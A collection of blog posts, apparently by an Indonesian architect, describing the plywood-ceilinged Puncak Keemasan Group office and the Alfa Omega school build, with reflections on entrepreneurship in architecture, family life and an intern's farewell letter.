The design also aims for material efficiency. By using 600 x 600 waffle module of bare plywood to cover the ceiling, gave results to its cost efficiency up to 50% to compare with normal cost. Not only as transitional element, plywood also became main form for its ceiling structure. Giant waffle is also functioned for mantling cables and pipes by the least usage of material.
Entire interior element is consistent with same porous detail; from square module bookshelf to various high for ceiling, while some part of supporting areas is using modular rectangle layout form. The detail is enhanced by low hanging edison lamp along the office, and synthetic grass carpet to heighten the jungle mood.
Located in Alam Sutera, Tangerang, as it completed in 2016, Puncak Keemasan Group Office occupies 2.450 sqm of built area. The building is intended as office for several companies, which is a noticeable challenge in programming scheme. As part of given solution, the design proposes permeable transition to create unifying ambience with structural parabolic shape made by plywood while maintaining separation inside each chamber. Material that used as main language is plywood that covered almost all interior office. The result is jungle-like hall which connect every room with tree bookshelf and library as its main hub.
Primary concern of the design is to restrain any unecessary cost while maintain sense of playfulness and creativity.
Form of design was expressed in two main sequences. The first sequence is to convey the flow by continuous circle form of tree structured bookshelves along the path of the office. The Second sequence is the type of flow expressed through plywood ceilling placement, which creating sense of wave, thus also resulted in dynamic interior lighting. Another use of plywood is manifested in giant curvature bookshelf that also works as room partition. This bookshelf formed double curvature for a reason. The curve reversed each other vertically, like a section of double helix. This way, it has stable load point in the middle of double arch as self-supporting barrier.
The design also aims for material efficiency. By using 600 x 600 waffle module of bare plywood to cover the ceiling, gave results to its cost efficiency up to 50% to compare with normal cost. Not only as transitional element, plywood also became main form for its ceiling structure. Giant waffle is also functioned for mantling cables and pipes by the least usage of material.
Entire interior element is consistent with same porous detail; from square module bookshelf to various high for ceiling, while some part of supporting areas is using modular rectangle layout form. The detail is enhanced by low hanging edison lamp along the office, and synthetic grass carpet to heighten the jungle mood.
I got one email from Itenas students about invitation to do lecture in enterpreneurship in architecture. In the brief, the lecture will be about how to make an architecture business. Not so long, 3 days ago, fellow architects came to my home, Rubi, Dani, Carolina. Rubi has research about enterpreneurship in architecture. The hypothesis is that there are many good architects, but some of them can not survive, or maintaining sustainable design firm. he said he wanted to create community like OMAH for enterpreneurship in architecture, what is why he came to interview, and asked questions, I would say it’s discussion rather than interview, which is like two way. Deep in my mind, i was curious, why always the topics about this, it’s actualy topic which is pretty basic, topic to surviving as architect. But that is okay, let’s talk about it.
Thinking about that topic. There are many topics, or issues, or discussions about how to start being an architect, how to make a design firm, how to do enterpreneurship in architecture. This short article discussed about origins of enterpreneurship and how it links with architecture.
First of all, I was curious, what is the meaning of enterpreneurship. The meaning of enterpreneurship is generally to connect with opportunity by creating professional code and conduct toward best product. if one say, I am good designer, how can I have clients, how can I have network, how can I have jobs, how can I structurize my firm.
There are two types of paradigm toward this definition, it’s up to you which one fits to your character. The first one, I say it’s extrovert way, the media, the business, the product, rational way. It’s about using opportunity from the media, it’s about the power, prestige, and wealth.
I discussed the condition of profession in Indonesia few months ago, I did a small research comparing indonesian practice and United States.
Dalam tabel standar biaya konsultan inkindo 2015 – Disdik DKI Jakarta, terdapat daftar untuk spesifikasi tenaga ahli dengan spesialisasi tertentu [1]. Spesialisasi tertentu ini mengacu ke perancangan gedung dengan kompleksitas tinggi seperti bangunan tinggi, pembangkit listrik, jembatan, dll. Uniknya dan anehnya, di dalam tabel ini tidak terdapat profesi arsitek, sedangkan disebutkan ahli mekanikal elektrikal, teknik lingkungan, teknik sipik, Geoteknik, Geologi. Memang di dalam lampiran tersebut terdapat kata – kata “dan lain – lain” namun disinilah tersirat bahwa, apakah profesi arsitek ini hadir dalam lingkungan jasa konsultan Indonesia. Jawabannya pasti iya, hadir, namun keberpihakan untuk arsitek patut untuk diperjuangkan karena tiga hal penting:
pertama arsitek berfungsi untuk melakukan efisiensi anggaran, dengan optimasi terhadap massa bangunan, luas bangunan, layout ruang, menentukan titik kolom struktur, menentukan jarak sisa untuk saluran mekanikal elektrikal dan pemipaan, dan optimasi penggunaan material. Kedua, arsitek berfungsi untuk mempercepat masa konstruksi bangunan dengan mempertimbangkan cara bangunan tersebut dikonstruksi, ketiga, arsitek bertanggung jawab terhadap tata ruang, dan perijinan bangunan tersebut untuk mendapatkan ijin mendirikan bangunan, yang bisa dipertanggung jawabkan keamanan, kenyamanan berdasarkan good practice, ataupun Standar Nasional Indonesia, ataupun timesaver, neufert data handbook, building metric handbook, ataupun standar – standar lain yang bisa diargumentasikan seperti standar pengamanan terhadap bocornya air, standar pengolahan minyak atau limbah, standar pengolahan air kotor, dan standar penyediaan air bersih dan sambungan antar detail yang mencegah angin, air, ataupun pandangan, terkait dengan privasi pengguna. Sedemikian mengerikannya apabila satu bangunan tidak didesain dengan benar, apalagi bangunan dengan kompleksitas tinggi yang akan digunakan oleh klien dan penggunanya. Kita patut bertanya – tanya, standar seperti apa yang digunakan. Apalagi ditambah apabila kita bertanya – tanya tentang penghargaan sebuah ide – ide dari satu bangunan. Mungkin keadaan ini masih jauh Panggang Dari Api atau kenyataan tidak sesuai harapan.
Professor Danisworo dalam kuliahnya di Omah library, menjelaskan bahwa standar fee untuk arsitek dari tahun ke tahun berkurang dari jaman ia merintis praktek Encona, dahulu pada waktu ia mengerjakan desain bandara udara Halim, uang imbalan balas jasa bersih yang didapat oleh kantor, bisa digunakan untuk membeli satu buah tanah berikut rumah yang besar, di daerah sumur bandung tempat kantor Encona beroperasi. Dari fee yang didapatkan sekarang dibandingkan biaya hidup yang ada, kompetisi yang ada, penghargaan yang ada harus membuat para arsitek menjadi perlu kreatif dalam mensiasati keadaan [2]. Keadaan yang dijelaskan professor Danisworo Hal ini berkebalikan dengan keadaan arsitek – arsitek luar yang masuk ke Indonesia dengan menerapkan fee 10 % – 20 % lebih tinggi dari fee arsitek di negara asalnya, memang disinilah peran marketting, pembentukan branding dan pada akhirnya kualitas menjadi penting. Bahwa adanya kualitas pranata yang mendukung, yang belum membuat profesi arsitek ini tumbuh subur, dan makin kuat. Arsitek Indonesia perlu berjuang dalam keterbatasan.
It’s this way, Peter Piven wrote in book titled starting design firm wrote about 3 types of design firm, the first is, strong idea firm, second, is strong service firm, and the third is strong production firm. Knowing this category will help you to understand the nature of architect. The strong idea is based on one master to give you guidance, and the second is pretty straight forward which sometimes can be seen in hospitality design when we work with a team which service the team of operators, owners, and technicals. The third is treating architect as production factory.
The second type, it’s about using introvert way. Believing for your genious, training yourself hard for passing through 3 stages of mastery: knowing your expedients, practicing your alchemy, and doing your experiments. Antoni Gaudi, Maclaine Pont, and Carlo Scarpa are the three my favourite architects. I kept looking for pilgrimage for their works, and they are the closest way of role model in my heart looking at their process through time with persistance and their design is absolutely beautiful. in this second type, architecture is like doing kisses, hugs, and doing a dharma for your life. It’s more ethical while the driving point is more introvert. or may be this second type is formed when the first type is understood as a basic need, and the second is a way about perfection in mastering product of your works. So what is the importance knowing this ?
I remember reading one passage written by Robi Sularto, that ” architecture is a dharma, not merely a profession.” this words, was carved in my thoughts since then. I actually am quite sad looking the condition in Indonesia while the architects is not appreciated and the architects are not sensitive enough to serve society but it’s common because architects are still surviving through time. I reflect to myself as well, when daily, we are struggling to get the job done, invoice done, and advancing the mastery of our skills. It’s three way of juggling. The way of juggling explained by Deyan Sujic in Biography of Norman Foster by basically, knowing your limit, focussing on your competence, and building great people around you. what I found that enterpreneurship is about to serve others through design eventhough it’s simple project. Serving other like serving yourself, loving architecture like crazy through best attitude and learning so much as you can perfecting your mastery, preparation, preparation , preparation, it’s hardwork ! https://instagram.com/p/BPzkz-oA6UJ/
My wife is always sad when the time I will fly abroad. This time i will go to Dili, East Timor to assist Yoga and Faela of Institute of Transportation and Development Policy. A NGO organisation which is based in New York. I have been working together with them for 5 years now since introduced by Dani, friend from Planology in the past pedestrian project.
Laurensia has helped me to organise the office so far, she juggled in the complexity of the firm while I formed the associates to help me to do better design for the clients. I knew she was sad day ago because I will leave the family for several day.
Miraclerich has grown up into decent toddler, Laurensia taught him well.
We try to teach miracle value of respecting other, and knowing the consequence of his actions. It’s quite hard, I would prefer to do design actually. Last time, he felt down while he ran, in our heart we want to lift him, but instead doing that, we let him to stand by himself. Miracle cried loudly. In middle of the night, Miracle will wake up and cried asking to be moved in our bed. Laurensia was affraid if Miracle will fall down from our bed because our bed does not have any fence. His bed has 80 cm fence. I moved him back to his bed, and he cried loudly, he choked, and finaly slept after that.
The day after that, we did that again, but this time, Laurensia handled it differently. After Miracle woke up in the middle of the night, Laurensia would slept in Miracle’s bed, I will make milk for him, and Laurensia slept with Miracle just for making him feeling safe but it’s still in Miracle’s bed.
I faced this this situation as well, when new thing happened and it’s new experience. We have to adapt, I was lucky to have my family and Laurensia to help me to adapt the situation. It’s been almost a week now, and Miracle can sleep alone in his bed. I’m proud of him and Laurensia helped him to pass through his hardtime.
Bu Pauline Budianto sent me one video and 2 picture,
she said “Hai Rich, sudah seminggu lebih kami menikmati keindahan hasil karyamu di sekolah AO. Anak2 saya pas lihat pertama kali langsung berbinar matanya…
Katanya: worth it juga ya ma….meninggalkan segala kenyamanan sekolah di belanda….. kalo di Belanda nggak bisa menikmati yg seperti begini.
Thanks Rich! ”
I knew her, for her contributions in the fishermen village at Muara Angke, a part of changes which was proposed during the governance of Basuki T Purnama in Jakarta. I have not still have a chance to meet her in person.
Knowing her message, the Honour is for the hardwork for all of people involved,
I remember video sent by Pak Rendy, few weeks ago
It’s a pleasure and honour.
Love,
Chinese New Year 2017 – The Year of the Rooster – has begun and will last until Feb 15, 2018. The new year, also known as the Spring Festival, is marked by the lunisolar Chinese calendar, so the date changes from year to year. The Chinese zodiac is divided into 12 blocks (or houses) just like its western counterpart, but with the major difference being that each house has a time-length of one year instead of one month.
This year, it’s the Year of the Rooster, the 10th animal in the cycle. The next Year of the Rooster will be in 2029.
My family celebrates Chinese New Year as well. We used to have dinner together at the day before, and at chinese new year all of the member of the big family, uncle, auntie, nephew, niece, cousins, come to our home to have lunch together.
It’s a tradition to be together as a family, giving respect to each other. My Dad told me the importance of levelling in construction this morning, he said, he asked the builder to redo casting the concrete when he found the levelling was not right. The owner questioned him, about why he asked them to redo, destroy and rebuild again which my dad will take the budget by himself. Dad and my Aunts
He said it was for learning, a lesson for his supervisor so he will keep up the standard high with no tolerance.He also said in one morning questioned, which one do you want, be the one who carry or support the weak, or the one who will be carried or supported by other. He also said sometime ago, in family, if there is disagreement, or fight Dad will take side on the weak one, because that is the essence of the family, to understand people as it is, and to help, unite, and be one family.My dad is getting older, his energy may be less than before, I’ve got my lessons, every time I met him.
Happy Chinese New Year, may you and your family be loved by so many great people, and this universe.
The table was arranged by Bu Lisa few days before the photoshoot by Eric Dinardi
Puncak Keemasan Group Office is just published in Archdaily. It’s the effort of truly hardwork and passion by all of the people involved, also with the support by the owner which is been bound to be beautiful memory. In this project the design works with the parabolic and modular shape, exercised into whole series of efficient construction system, efficient architectural finishes, and merged into sequence of experience.
We were honoured to work in this project, this project demanded much of time and energy while the construction floor level is not same, it’s tilting, and slanted in 5 cm discrepancy. the construction time demanded to be not more than 3 months. the project struggled to keep on the design and construction going well in the process.
The fabricated module carried to the site one by one, and the project finaly near to completion in the bitter and sweet experience, resulted the picture that Eric took few weeks ago.
But, the most important is, and the honour is to see the owner, PKG group, the staffs happily using the place, and fitting the workspace behaviour into the space into such lovely memory.
I was committed to submit projects to archdaily or dezeen to test and evaluate our quality of work as a part of feedback, and gathering the 1 % of the process as a part of 99% what we have done.
Have a great day all. love you
The Project is designed for Puncak Keemasan Group, Pak Ferry, Bu Lisa, Pak Sugih, Pak Jimmy, Bu Yohana, Pak Iskander.
“Pak sekolah ini harus selesai di bulan Januari” Bu Lisa berkata satu saat. Di dalam hati, saya menghitung waktu, bulan demi bulan, kira kira hanya tersisa 6 bulan lagi dan sekolah ini baru akan direncanakan.Saya menulis di saat – saat saya berumur 35 tahun dengan rambut putih yang mulai tumbuh, ciuman pembuka dari istri dan anak di awal hari, dan dua buah telur, satu mangkuk apel, bedanya sudah tidak ada lagi teh manis di pagi hari, hanya ada air putih saja. Aneh memang, ada banyak perubahan terjadi di tahun ini, makanan berubah, saya pikir sikap pun berubah, saya ingin yang biasa – biasa dan sederhana saja.
Pagi hari itu Laras, Pak Djatmiko, dan Pak Singgih sudah datang, kemudian kita berangkat ke lokasi Telok Naga, sebuah sekolah yang kami kerjakan namanya sekolah alfa omega.
Banyak sekali masalah muncul di lokasi proyek kira – kira di beberapa bulan yang lalu seperti tidak adanya jalan akses, banjir karena ketinggian lahan ada di bawah permukaan jalan, dan lokasi tidak memiliki listrik dan air. Konstruksinya dibuat dengan kombinasi material struktur baja, beton, bata, bambu, nipah dengan ketinggian 2.1 m diatas permukaan tanah kedalaman rata – rata 1.0 – 1.2 m dari permukaan jalan. Konstruksi atap menggunakan kombinasi kurva paraboloid.
Konstruksi dinding menggunakan batu bata ekspos dengan susunan lubang – lubang, gelap terang yang disusun melengkung tanpa menggunakan kolom praktis. Karena bentuk lengkung ini bata bisa duduk dengan stabil. Prinsip Desain pun secara bertahap tumbuh karena kesulitan – kesulitan yang ada di lokasi.
Enter a caption”Pak sekolah ini harus selesai di bulan Januari” Bu Lisa berkata satu saat. Di dalam hati, saya menghitung waktu, bulan demi bulan, kira kira hanya tersisa 6 bulan lagi dan sekolah ini baru akan direncanakan. Bendera ini ide pak Sugih untuk memberikan 7 buah bendera Indonesia di depan sekolah.
Sekolah dalam proses konstruksi.Pak banyak orang menggantungkan harapannya di sekolah ini, banyak dari mereka yang kembali datang ke sekolah ini dan sekolah ini dekat antara anak yang satu dengan anak yang lain, SD SMP SMA.” Pak Ferry satu saat berkata demikian.
Bu Lisa, Pak Sugih, Pak Jimmy, Pak Iskander, bu Yohana, Pak Ferry, Bu Eunike, Pak Rendy, dan banyak sekali orang silih berganti masuk untuk berdiskusi dan berkenalan kira – kira 2 tahun yang lalu, terima kasih untuk kepercayaannya. Tidak ada hadiah yang paling membahagiakan selain melihat sekolah ini berjalan di tanggal 17 Januari besok.
Di malam hari kira – kira jam 8 malam, Laurensia menelpon, “Yang kamu dimana” “masih di Telok Naga, ini masih nungguin bu Lisa sama Pak Ferry sapu bersih takut ada yang masih kelewat” jawab saya, Pada waktu itu saya dengan pak Djatmiko, pak Andung, baru menyisir jalan baru yang berlokasi 1 km dari proyek sedang dibangun dengan dan Laras menunggu di bedeng di depan proyek dan ali ada di lapangan.
Malam hari jam 8.15 malam
Malam hari jam 8.15 malam
selesai jam 6 pagi
penyusunan batu kali utnuk batas alan dengan lapangan rumput
Laurensia menelpon lagi “Anak – anak sudah nungguin ya di Pizza Hut, sekarang sudah jam 8 malam”
Diri ini pun baru teringat sudah cukup malam, dan dibutuhkan waktu 1 jam lebih untuk ke arah Puri Indah. Diri ini berpamitan dengan Bu Lisa dan Pak Ferry, langsung meluncur ke Puri Indah Mall dengan Ali, Raras. Pak Singgih memilih pulang, pak Djatmiko masih di lapangan, kita harus berbagi – bagi tugas dengan tanggung jawab masing – masing. Di arti alfa yang berarti awalan dan omega yang berarti akhiran. Disitulah ada jeda dan kita semua ada di antara awal dan akhir untuk kemudian siklus pertemuan dan perpisahan terjadi.
ini situasi setelah makan, Miracle sudah tidur
Miftah dan Asep bawa Ubi Cilembu, ide dari Jajo sama Nida ^^
Semoga umur 35, diri ini makin bisa bermanfaat untuk orang lain, terima kasih untuk semuanya Tuhan memberikan cinta dari seluruh orang yang ada di lingkaran terdekat, sehari – hari bertemu, dua hari, ataupun baru bertemu.
the two my most lovely angel, Laurensia and Miracle, Maaf ya papa sibuk terus, kita jalan – jalan ya akhir minggu ini.
[1] Dan terima kasih untuk seluruh anggota tim ditengah dukungan dari tim alfa omega. seluruh anggota yang besar jumlahnya, dan besar sekali dukungannya, tenaga yang dicurahkan dari bermacam – macam orang, bermacam – macam sifat, latar belakang. Love you all
I am very grateful for the opportunity that was given during the last 6 months for an internship in the super cool office where I met many people like kak realrich, my role model, then kak miftah and kak tatyana, both were very professional and perfectionist. For kak rimba, kak ali, kak tolay, ci mak, tirta, kak cong each of them has an important role to the development of my learning process . Mas beng, kak septrio and kak aki, the ‘extra combo’ whom always helpful when I asked about the detail, technical etc
It feels like yesterday I got my very first day as an “intern”, but the time goes so fast till I end up to the moment where I am writing a reflection letter right now. I dont think that I will get a lot of knowledge that I didn’t get on the college, before that I was the one feels that the knowledge I had acquired during college was enough to bring to the workplace, but I was wrong. Precisely in here, in this place, in RAW, I trained a lot. Thank you, the dream team…